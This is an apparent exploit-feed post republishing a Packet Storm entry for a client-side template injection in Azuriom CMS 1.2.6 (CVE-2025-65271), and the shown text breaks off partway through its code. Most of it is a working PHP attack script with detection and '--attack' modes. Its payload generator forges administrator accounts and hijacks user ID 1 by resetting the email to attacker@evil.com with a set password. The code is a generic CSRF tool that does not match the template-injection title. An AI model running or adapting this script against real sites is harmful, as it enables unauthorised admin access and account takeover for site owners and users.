{"id":30774,"date":"2025-12-12T11:58:45","date_gmt":"2025-12-12T11:58:45","guid":{"rendered":"http:\/\/localhost\/?p=30774"},"modified":"2025-12-12T11:58:45","modified_gmt":"2025-12-12T11:58:45","slug":"azuriom-cms-126-client-side-template-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30774","title":{"rendered":"\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection_PACKETSTORM:212768"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-12T17:15:52&#8243;,&#8221;description&#8221;:&#8221;A client-side template injection vulnerability affects the Azuriom CMS Admin Dashboard in version 1.2.6. Several dashboard components widgets, plugins, and admin panels render untrusted user input inside the administrator&#8217;s browser. Low-privileged&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-12T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Azuriom CMS 1.2.6 Client-Side Template Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212768&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-65271&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Azuriom CMS 1.2.6 Client-Side Template Injection (CSTI) Privilege Escalation                                                |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/azuriom.com\/                                                                                                        |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212658\/ \\u0026 CVE-2025-65271 \\n    \\n    [+] Summary: A Client-Side Template Injection (CSTI) vulnerability affects the Azuriom CMS Admin Dashboard in version 1.2.6.\\n                 Several dashboard components (widgets, plugins, and admin panels) render untrusted user input inside the administrator\u2019s browser.\\n                 Low-privileged users can inject template expressions that execute JavaScript in the admin context.\\n    \\n    Successful exploitation allows:\\n    &#8211; Arbitrary JavaScript execution in the admin dashboard\\n    &#8211; Theft of administrator session cookies\\n    &#8211; Full privilege escalation to admin account\\n    &#8211; Further compromise of CMS environment\\n    \\n    The vendor fixed this issue in Azuriom 1.2.7 by sanitizing user input and preventing template expression execution.\\n    \\n    [+] PoC Description:\\n    \\n    This PHP-based proof-of-concept demonstrates CSRF\/Client-Side Template Injection vulnerabilities.\\n    It detects vulnerable forms and generates live attacks or HTML PoCs.\\n    \\n    Features:\\n    \\n    &#8211; Detection mode: scans forms, CSRF tokens, evaluates SameSite cookies\\n    &#8211; Attack mode: injects payloads (admin, user, takeover, custom)\\n    &#8211; Generates `csrf_poc.html` for demonstration\\n    &#8211; Logs successful attacks and debug info (`csrf_debug.log`)\\n    \\n    [+] Usage:\\n    \\n    # Detection only:\\n    php csrf_poc.php https:\/\/target.com\/admin\/create\\n    \\n    # Execute actual attack:\\n    php csrf_poc.php https:\/\/target.com\/user\/update &#8211;attack &#8211;payload=takeover\\n    \\n    # Optional: use proxy and verbose output\\n    php csrf_poc.php https:\/\/target.com\/api\/users &#8211;attack &#8211;proxy=http:\/\/127.0.0.1:8080 -v\\n    \\n    [+] Output:\\n    &#8211; csrf_report.txt \u2192 Detailed scan report\\n    &#8211; csrf_poc.html \u2192 HTML proof-of-concept\\n    &#8211; csrf_debug.log \u2192 Debug info\\n    &#8211; successful_attacks.log \u2192 Successful attack attempts\\n    \\n    ===================\\n    \\n    \\u003c?php\\n    \\n    error_reporting(0);\\n    ini_set(&#8216;display_errors&#8217;, 0);\\n    \\n    \/\/ Configuration\\n    define(&#8216;USER_AGENT&#8217;, &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36&#8217;);\\n    define(&#8216;COOKIE_FILE&#8217;, &#8216;session_cookies.dat&#8217;);\\n    define(&#8216;DEBUG_FILE&#8217;, &#8216;csrf_debug.log&#8217;);\\n    define(&#8216;SUCCESS_FILE&#8217;, &#8216;successful_attacks.log&#8217;);\\n    \\n    \/\/ Color codes for CLI\\n    define(&#8216;COLOR_RED&#8217;, \\&#8221;\\\\033[31m\\&#8221;);\\n    define(&#8216;COLOR_GREEN&#8217;, \\&#8221;\\\\033[32m\\&#8221;);\\n    define(&#8216;COLOR_YELLOW&#8217;, \\&#8221;\\\\033[33m\\&#8221;);\\n    define(&#8216;COLOR_BLUE&#8217;, \\&#8221;\\\\033[34m\\&#8221;);\\n    define(&#8216;COLOR_RESET&#8217;, \\&#8221;\\\\033[0m\\&#8221;);\\n    define(&#8216;COLOR_BOLD&#8217;, \\&#8221;\\\\033[1m\\&#8221;);\\n    \\n    \/\/ Banner\\n    function show_banner() {\\n        echo COLOR_BOLD . COLOR_BLUE . \\&#8221;\\n        \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n        \u2551                                                                                              \u2551\\n        \u2551      \\&#8221; . COLOR_RED .  \\&#8221; \u2588\u2588\u2557\u2588\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557\u2551 \\n        \u2551       \\&#8221; . COLOR_RED . \\&#8221; \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2557\\n        \u2551       \\&#8221; . COLOR_RED . \\&#8221; \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588   \u2588\u2554\u255d\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\\n        \u2551       \\&#8221; . COLOR_RED . \\&#8221; \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\\n        \u2551       \\&#8221; . COLOR_RED . \\&#8221; \u2588\u2588\u2551\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2557\u2588\u2588\u2551  \u2588\u2588\u2551\\n        \u2551       \\&#8221; . COLOR_RED . \\&#8221; \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\\&#8221; . COLOR_BLUE . \\&#8221;     \\n        \u2551  \\n        \u2551               \\&#8221; . COLOR_GREEN . \\&#8221;CSRF EXPLOIT \\&#8221; . COLOR_BLUE . \\&#8221;                            \\n        \u2551               \\&#8221; . COLOR_YELLOW . \\&#8221;For Security Research Only\\&#8221; . COLOR_BLUE . \\&#8221;              \\n        \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\\\n\\\\n\\&#8221; . COLOR_RESET;\\n    }\\n    \\n    \/\/ Parse arguments\\n    function parse_arguments($argv) {\\n        $params = [\\n            &#8216;url&#8217; =\\u003e &#8221;,\\n            &#8216;action&#8217; =\\u003e &#8216;detect&#8217;,\\n            &#8216;payload&#8217; =\\u003e &#8216;admin&#8217;,\\n            &#8216;output&#8217; =\\u003e &#8216;cli&#8217;,\\n            &#8216;delay&#8217; =\\u003e 1,\\n            &#8216;threads&#8217; =\\u003e 1,\\n            &#8216;proxy&#8217; =\\u003e &#8221;,\\n            &#8216;verbose&#8217; =\\u003e false\\n        ];\\n        \\n        if (count($argv) \\u003c 2) {\\n            show_usage();\\n            exit(1);\\n        }\\n        \\n        $params[&#8216;url&#8217;] = $argv[1];\\n        \\n        for ($i = 2; $i \\u003c count($argv); $i++) {\\n            if ($argv[$i] == &#8216;&#8211;attack&#8217; || $argv[$i] == &#8216;-a&#8217;) {\\n                $params[&#8216;action&#8217;] = &#8216;attack&#8217;;\\n            } elseif ($argv[$i] == &#8216;&#8211;detect&#8217; || $argv[$i] == &#8216;-d&#8217;) {\\n                $params[&#8216;action&#8217;] = &#8216;detect&#8217;;\\n            } elseif (strpos($argv[$i], &#8216;&#8211;payload=&#8217;) === 0) {\\n                $params[&#8216;payload&#8217;] = substr($argv[$i], 10);\\n            } elseif ($argv[$i] == &#8216;&#8211;verbose&#8217; || $argv[$i] == &#8216;-v&#8217;) {\\n                $params[&#8216;verbose&#8217;] = true;\\n            } elseif (strpos($argv[$i], &#8216;&#8211;proxy=&#8217;) === 0) {\\n                $params[&#8216;proxy&#8217;] = substr($argv[$i], 8);\\n            } elseif ($argv[$i] == &#8216;&#8211;help&#8217; || $argv[$i] == &#8216;-h&#8217;) {\\n                show_usage();\\n                exit(0);\\n            }\\n        }\\n        \\n        return $params;\\n    }\\n    \\n    function show_usage() {\\n        echo COLOR_BOLD . \\&#8221;Usage:\\\\n\\&#8221; . COLOR_RESET;\\n        echo \\&#8221;  php \\&#8221; . basename(__FILE__) . \\&#8221; URL [OPTIONS]\\\\n\\\\n\\&#8221;;\\n        echo COLOR_BOLD . \\&#8221;Options:\\\\n\\&#8221; . COLOR_RESET;\\n        echo \\&#8221;  &#8211;attack, -a      Execute actual attack\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;detect, -d      Only detect vulnerabilities (default)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;payload=TYPE    Payload type: admin, user, takeover, custom\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;proxy=PROXY     Use proxy (format: http:\/\/proxy:port)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;verbose, -v     Verbose output\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;help, -h        Show this help\\\\n\\\\n\\&#8221;;\\n        echo COLOR_BOLD . \\&#8221;Examples:\\\\n\\&#8221; . COLOR_RESET;\\n        echo \\&#8221;  php \\&#8221; . basename(__FILE__) . \\&#8221; https:\/\/target.com\/admin\/create\\\\n\\&#8221;;\\n        echo \\&#8221;  php \\&#8221; . basename(__FILE__) . \\&#8221; https:\/\/target.com\/user\/update &#8211;attack\\\\n\\&#8221;;\\n        echo \\&#8221;  php \\&#8221; . basename(__FILE__) . \\&#8221; https:\/\/target.com\/api\/users &#8211;payload=takeover\\\\n\\&#8221;;\\n    }\\n    \\n    \/\/ Logger\\n    class Logger {\\n        public static function log($message, $type = &#8216;INFO&#8217;) {\\n            $timestamp = date(&#8216;Y-m-d H:i:s&#8217;);\\n            $log_message = \\&#8221;[$timestamp] [$type] $message\\\\n\\&#8221;;\\n            \\n            file_put_contents(DEBUG_FILE, $log_message, FILE_APPEND);\\n            \\n            if ($type == &#8216;SUCCESS&#8217;) {\\n                file_put_contents(SUCCESS_FILE, $log_message, FILE_APPEND);\\n                echo COLOR_GREEN . \\&#8221;[+] $message\\&#8221; . COLOR_RESET . \\&#8221;\\\\n\\&#8221;;\\n            } elseif ($type == &#8216;ERROR&#8217;) {\\n                echo COLOR_RED . \\&#8221;[-] $message\\&#8221; . COLOR_RESET . \\&#8221;\\\\n\\&#8221;;\\n            } elseif ($type == &#8216;WARNING&#8217;) {\\n                echo COLOR_YELLOW . \\&#8221;[!] $message\\&#8221; . COLOR_RESET . \\&#8221;\\\\n\\&#8221;;\\n            } else {\\n                echo \\&#8221;[*] $message\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        public static function debug($message) {\\n            global $params;\\n            if ($params[&#8216;verbose&#8217;]) {\\n                echo COLOR_BLUE . \\&#8221;[DEBUG] $message\\&#8221; . COLOR_RESET . \\&#8221;\\\\n\\&#8221;;\\n            }\\n            self::log($message, &#8216;DEBUG&#8217;);\\n        }\\n    }\\n    \\n    \/\/ HTTP Client\\n    class HttpClient {\\n        private $ch;\\n        private $proxy;\\n        \\n        public function __construct($proxy = &#8221;) {\\n            $this-\\u003eproxy = $proxy;\\n            $this-\\u003einit();\\n        }\\n        \\n        private function init() {\\n            $this-\\u003ech = curl_init();\\n            curl_setopt($this-\\u003ech, CURLOPT_RETURNTRANSFER, true);\\n            curl_setopt($this-\\u003ech, CURLOPT_FOLLOWLOCATION, true);\\n            curl_setopt($this-\\u003ech, CURLOPT_SSL_VERIFYPEER, false);\\n            curl_setopt($this-\\u003ech, CURLOPT_SSL_VERIFYHOST, false);\\n            curl_setopt($this-\\u003ech, CURLOPT_TIMEOUT, 30);\\n            curl_setopt($this-\\u003ech, CURLOPT_USERAGENT, USER_AGENT);\\n            curl_setopt($this-\\u003ech, CURLOPT_COOKIEFILE, COOKIE_FILE);\\n            curl_setopt($this-\\u003ech, CURLOPT_COOKIEJAR, COOKIE_FILE);\\n            \\n            if ($this-\\u003eproxy) {\\n                curl_setopt($this-\\u003ech, CURLOPT_PROXY, $this-\\u003eproxy);\\n            }\\n        }\\n        \\n        public function get($url, $headers = []) {\\n            curl_setopt($this-\\u003ech, CURLOPT_URL, $url);\\n            curl_setopt($this-\\u003ech, CURLOPT_HTTPGET, true);\\n            curl_setopt($this-\\u003ech, CURLOPT_POST, false);\\n            \\n            $default_headers = [\\n                &#8216;Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8&#8217;,\\n                &#8216;Accept-Language: en-US,en;q=0.5&#8217;,\\n                &#8216;Accept-Encoding: gzip, deflate&#8217;,\\n                &#8216;Connection: keep-alive&#8217;,\\n                &#8216;Upgrade-Insecure-Requests: 1&#8217;,\\n                &#8216;Cache-Control: max-age=0&#8217;\\n            ];\\n            \\n            $all_headers = array_merge($default_headers, $headers);\\n            curl_setopt($this-\\u003ech, CURLOPT_HTTPHEADER, $all_headers);\\n            \\n            $response = curl_exec($this-\\u003ech);\\n            $info = curl_getinfo($this-\\u003ech);\\n            \\n            if (curl_errno($this-\\u003ech)) {\\n                Logger::debug(\\&#8221;CURL Error: \\&#8221; . curl_error($this-\\u003ech));\\n            }\\n            \\n            return [\\n                &#8216;body&#8217; =\\u003e $response,\\n                &#8216;info&#8217; =\\u003e $info,\\n                &#8216;headers&#8217; =\\u003e $this-\\u003eextract_headers($response)\\n            ];\\n        }\\n        \\n        public function post($url, $data, $headers = [], $content_type = &#8216;form&#8217;) {\\n            curl_setopt($this-\\u003ech, CURLOPT_URL, $url);\\n            curl_setopt($this-\\u003ech, CURLOPT_POST, true);\\n            \\n            if ($content_type == &#8216;json&#8217;) {\\n                $post_data = json_encode($data);\\n                $headers[] = &#8216;Content-Type: application\/json&#8217;;\\n                $headers[] = &#8216;X-Requested-With: XMLHttpRequest&#8217;;\\n            } elseif ($content_type == &#8216;multipart&#8217;) {\\n                $post_data = $data;\\n                $headers[] = &#8216;Content-Type: multipart\/form-data&#8217;;\\n            } else {\\n                $post_data = http_build_query($data);\\n                $headers[] = &#8216;Content-Type: application\/x-www-form-urlencoded&#8217;;\\n            }\\n            \\n            curl_setopt($this-\\u003ech, CURLOPT_POSTFIELDS, $post_data);\\n            \\n            $default_headers = [\\n                &#8216;Accept: application\/json, text\/html, *\/*&#8217;,\\n                &#8216;Accept-Language: en-US,en;q=0.5&#8217;,\\n                &#8216;Origin: &#8216; . parse_url($url, PHP_URL_SCHEME) . &#8216;:\/\/&#8217; . parse_url($url, PHP_URL_HOST),\\n                &#8216;Referer: &#8216; . $url,\\n            ];\\n            \\n            $all_headers = array_merge($default_headers, $headers);\\n            curl_setopt($this-\\u003ech, CURLOPT_HTTPHEADER, $all_headers);\\n            \\n            $response = curl_exec($this-\\u003ech);\\n            $info = curl_getinfo($this-\\u003ech);\\n            \\n            return [\\n                &#8216;body&#8217; =\\u003e $response,\\n                &#8216;info&#8217; =\\u003e $info\\n            ];\\n        }\\n        \\n        private function extract_headers($response) {\\n            $headers = [];\\n            \\n            \/\/ Try to extract cookies\\n            if (preg_match_all(&#8216;\/Set-Cookie:\\\\s*([^;]+)\/i&#8217;, $response, $matches)) {\\n                $headers[&#8216;cookies&#8217;] = $matches[1];\\n            }\\n            \\n            return $headers;\\n        }\\n        \\n        public function __destruct() {\\n            if ($this-\\u003ech) {\\n                curl_close($this-\\u003ech);\\n            }\\n        }\\n    }\\n    \\n    \/\/ CSRF Detector\\n    class CSRFDetector {\\n        private $http;\\n        \\n        public function __construct($http) {\\n            $this-\\u003ehttp = $http;\\n        }\\n        \\n        public function scan($url) {\\n            Logger::log(\\&#8221;Starting CSRF vulnerability scan&#8230;\\&#8221;);\\n            \\n            $results = [\\n                &#8216;vulnerable&#8217; =\\u003e false,\\n                &#8216;protection&#8217; =\\u003e &#8216;unknown&#8217;,\\n                &#8216;tokens&#8217; =\\u003e [],\\n                &#8216;forms&#8217; =\\u003e []\\n            ];\\n            \\n            \/\/ Step 1: Fetch the page\\n            $response = $this-\\u003ehttp-\\u003eget($url);\\n            \\n            if ($response[&#8216;info&#8217;][&#8216;http_code&#8217;] != 200) {\\n                Logger::log(\\&#8221;Failed to fetch page. HTTP Code: \\&#8221; . $response[&#8216;info&#8217;][&#8216;http_code&#8217;], &#8216;ERROR&#8217;);\\n                return $results;\\n            }\\n            \\n            $html = $response[&#8216;body&#8217;];\\n            \\n            \/\/ Step 2: Extract forms\\n            $forms = $this-\\u003eextract_forms($html, $url);\\n            $results[&#8216;forms&#8217;] = $forms;\\n            \\n            \/\/ Step 3: Check for CSRF tokens\\n            $tokens = $this-\\u003efind_csrf_tokens($html);\\n            $results[&#8216;tokens&#8217;] = $tokens;\\n            \\n            \/\/ Step 4: Analyze protection\\n            if (empty($tokens)) {\\n                $results[&#8216;protection&#8217;] = &#8216;none&#8217;;\\n                $results[&#8216;vulnerable&#8217;] = true;\\n                Logger::log(\\&#8221;No CSRF tokens found &#8211; Application may be vulnerable!\\&#8221;, &#8216;WARNING&#8217;);\\n            } else {\\n                Logger::log(\\&#8221;Found \\&#8221; . count($tokens) . \\&#8221; CSRF tokens\\&#8221;, &#8216;INFO&#8217;);\\n                $results[&#8216;protection&#8217;] = &#8216;token_based&#8217;;\\n                \\n                \/\/ Test if tokens are actually validated\\n                $is_validated = $this-\\u003etest_token_validation($url, $tokens);\\n                if (!$is_validated) {\\n                    $results[&#8216;vulnerable&#8217;] = true;\\n                    Logger::log(\\&#8221;CSRF tokens found but validation appears weak!\\&#8221;, &#8216;WARNING&#8217;);\\n                }\\n            }\\n            \\n            \/\/ Step 5: Test SameSite cookies\\n            $samesite = $this-\\u003echeck_samesite_cookies($response[&#8216;headers&#8217;]);\\n            if ($samesite == &#8216;none&#8217; || $samesite == &#8216;not_set&#8217;) {\\n                $results[&#8216;vulnerable&#8217;] = true;\\n                Logger::log(\\&#8221;SameSite cookies not properly set\\&#8221;, &#8216;WARNING&#8217;);\\n            }\\n            \\n            return $results;\\n        }\\n        \\n        private function extract_forms($html, $base_url) {\\n            $forms = [];\\n            \\n            if (preg_match_all(&#8216;\/\\u003cform\\\\s+[^\\u003e]*action=[\\&#8221;\\\\&#8217;]?([^\\&#8221;\\\\&#8217;\\\\s\\u003e]*)[\\&#8221;\\\\&#8217;]?[^\\u003e]*\\u003e\/is&#8217;, $html, $matches)) {\\n                foreach ($matches[0] as $index =\\u003e $form_tag) {\\n                    $action = $matches[1][$index];\\n                    \\n                    \/\/ Make absolute URL\\n                    if (strpos($action, &#8216;http&#8217;) !== 0) {\\n                        $action = rtrim($base_url, &#8216;\/&#8217;) . &#8216;\/&#8217; . ltrim($action, &#8216;\/&#8217;);\\n                    }\\n                    \\n                    \/\/ Extract method\\n                    $method = &#8216;GET&#8217;;\\n                    if (preg_match(&#8216;\/method=[\\&#8221;\\\\&#8217;]?([^\\&#8221;\\\\&#8217;\\\\s\\u003e]+)[\\&#8221;\\\\&#8217;]?\/i&#8217;, $form_tag, $method_match)) {\\n                        $method = strtoupper($method_match[1]);\\n                    }\\n                    \\n                    \/\/ Extract inputs\\n                    preg_match_all(&#8216;\/\\u003cinput\\\\s+[^\\u003e]*name=[\\&#8221;\\\\&#8217;]?([^\\&#8221;\\\\&#8217;\\\\s\\u003e]+)[\\&#8221;\\\\&#8217;]?[^\\u003e]*\\u003e\/i&#8217;, $form_tag, $input_matches);\\n                    \\n                    $forms[] = [\\n                        &#8216;action&#8217; =\\u003e $action,\\n                        &#8216;method&#8217; =\\u003e $method,\\n                        &#8216;inputs&#8217; =\\u003e $input_matches[1] ?? []\\n                    ];\\n                }\\n            }\\n            \\n            return $forms;\\n        }\\n        \\n        private function find_csrf_tokens($html) {\\n            $tokens = [];\\n            \\n            \/\/ Check meta tags\\n            if (preg_match_all(&#8216;\/\\u003cmeta[^\\u003e]+(?:name|csrf-token)=[\\&#8221;\\\\&#8217;]?(?:csrf-token|_csrf)[\\&#8221;\\\\&#8217;][^\\u003e]+content=[\\&#8221;\\\\&#8217;]?([^\\&#8221;\\\\&#8217;\\u003e]+)[\\&#8221;\\\\&#8217;]?\/i&#8217;, $html, $matches)) {\\n                foreach ($matches[1] as $token) {\\n                    $tokens[] = [&#8216;type&#8217; =\\u003e &#8216;meta&#8217;, &#8216;value&#8217; =\\u003e $token];\\n                }\\n            }\\n            \\n            \/\/ Check hidden inputs\\n            if (preg_match_all(&#8216;\/\\u003cinput[^\\u003e]+type=[\\&#8221;\\\\&#8217;]?hidden[\\&#8221;\\\\&#8217;][^\\u003e]+name=[\\&#8221;\\\\&#8217;]?([^\\&#8221;\\\\&#8217;\\u003e]+)[^\\u003e]+value=[\\&#8221;\\\\&#8217;]?([^\\&#8221;\\\\&#8217;\\u003e]+)[\\&#8221;\\\\&#8217;]?\/i&#8217;, $html, $matches)) {\\n                foreach ($matches[1] as $index =\\u003e $name) {\\n                    if (preg_match(&#8216;\/(csrf|token|authenticity)\/i&#8217;, $name)) {\\n                        $tokens[] = [\\n                            &#8216;type&#8217; =\\u003e &#8216;input&#8217;,\\n                            &#8216;name&#8217; =\\u003e $name,\\n                            &#8216;value&#8217; =\\u003e $matches[2][$index]\\n                        ];\\n                    }\\n                }\\n            }\\n            \\n            \/\/ Check JavaScript variables\\n            if (preg_match_all(&#8216;\/(?:csrfToken|_token|XSRF_TOKEN)\\\\s*[=:]\\\\s*[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]\/i&#8217;, $html, $matches)) {\\n                foreach ($matches[1] as $token) {\\n                    $tokens[] = [&#8216;type&#8217; =\\u003e &#8216;javascript&#8217;, &#8216;value&#8217; =\\u003e $token];\\n                }\\n            }\\n            \\n            return $tokens;\\n        }\\n        \\n        private function test_token_validation($url, $tokens) {\\n            \/\/ Try to submit without token\\n            $test_data = [\\n                &#8216;test_field&#8217; =\\u003e &#8216;csrf_test_&#8217; . time(),\\n                &#8216;another_field&#8217; =\\u003e &#8216;test_value&#8217;\\n            ];\\n            \\n            $response = $this-\\u003ehttp-\\u003epost($url, $test_data);\\n            \\n            \/\/ Check if request was rejected\\n            if ($response[&#8216;info&#8217;][&#8216;http_code&#8217;] == 403 || $response[&#8216;info&#8217;][&#8216;http_code&#8217;] == 419) {\\n                Logger::debug(\\&#8221;Token validation ACTIVE (HTTP \\&#8221; . $response[&#8216;info&#8217;][&#8216;http_code&#8217;] . \\&#8221;)\\&#8221;);\\n                return true;\\n            }\\n            \\n            \/\/ Check response for CSRF error messages\\n            $error_patterns = [\\n                &#8216;\/csrf\/i&#8217;,\\n                &#8216;\/token.*invalid\/i&#8217;,\\n                &#8216;\/forbidden\/i&#8217;,\\n                &#8216;\/access.*denied\/i&#8217;\\n            ];\\n            \\n            foreach ($error_patterns as $pattern) {\\n                if (preg_match($pattern, $response[&#8216;body&#8217;])) {\\n                    Logger::debug(\\&#8221;Token validation detected via error message\\&#8221;);\\n                    return true;\\n                }\\n            }\\n            \\n            return false;\\n        }\\n        \\n        private function check_samesite_cookies($headers) {\\n            if (isset($headers[&#8216;cookies&#8217;])) {\\n                foreach ($headers[&#8216;cookies&#8217;] as $cookie) {\\n                    if (stripos($cookie, &#8216;samesite=&#8217;) !== false) {\\n                        if (stripos($cookie, &#8216;samesite=strict&#8217;) !== false || \\n                            stripos($cookie, &#8216;samesite=lax&#8217;) !== false) {\\n                            return &#8216;secure&#8217;;\\n                        } elseif (stripos($cookie, &#8216;samesite=none&#8217;) !== false) {\\n                            return &#8216;none&#8217;;\\n                        }\\n                    }\\n                }\\n            }\\n            return &#8216;not_set&#8217;;\\n        }\\n    }\\n    \\n    \/\/ Payload Generator\\n    class PayloadGenerator {\\n        public static function generate($type, $url) {\\n            $domain = parse_url($url, PHP_URL_HOST);\\n            $timestamp = time();\\n            $random_id = substr(md5($timestamp), 0, 8);\\n            \\n            switch($type) {\\n                case &#8216;admin&#8217;:\\n                    return [\\n                        &#8216;username&#8217; =\\u003e &#8216;admin_&#8217; . $random_id,\\n                        &#8217;email&#8217; =\\u003e &#8216;admin_&#8217; . $random_id . &#8216;@&#8217; . $domain,\\n                        &#8216;password&#8217; =\\u003e &#8216;P@ssw0rd!&#8217; . rand(100, 999),\\n                        &#8216;role&#8217; =\\u003e &#8216;administrator&#8217;,\\n                        &#8216;is_admin&#8217; =\\u003e &#8216;1&#8217;,\\n                        &#8216;privileges&#8217; =\\u003e &#8216;all&#8217;,\\n                        &#8216;status&#8217; =\\u003e &#8216;active&#8217;\\n                    ];\\n                    \\n                case &#8216;takeover&#8217;:\\n                    return [\\n                        &#8217;email&#8217; =\\u003e &#8216;attacker@evil.com&#8217;,\\n                        &#8216;new_email&#8217; =\\u003e &#8216;attacker@evil.com&#8217;,\\n                        &#8216;password&#8217; =\\u003e &#8216;H@cked123!&#8217;,\\n                        &#8216;confirm_password&#8217; =\\u003e &#8216;H@cked123!&#8217;,\\n                        &#8216;user_id&#8217; =\\u003e &#8216;1&#8217;,\\n                        &#8216;action&#8217; =\\u003e &#8216;update_profile&#8217;\\n                    ];\\n                    \\n                case &#8216;user&#8217;:\\n                    return [\\n                        &#8216;name&#8217; =\\u003e &#8216;csrf_victim_&#8217; . $random_id,\\n                        &#8217;email&#8217; =\\u003e &#8216;victim_&#8217; . $random_id . &#8216;@&#8217; . $domain,\\n                        &#8216;password&#8217; =\\u003e &#8216;Temp123!&#8217;,\\n                        &#8216;confirm_password&#8217; =\\u003e &#8216;Temp123!&#8217;,\\n                        &#8216;subscribe&#8217; =\\u003e &#8216;1&#8217;,\\n                        &#8216;terms&#8217; =\\u003e &#8216;1&#8217;\\n                    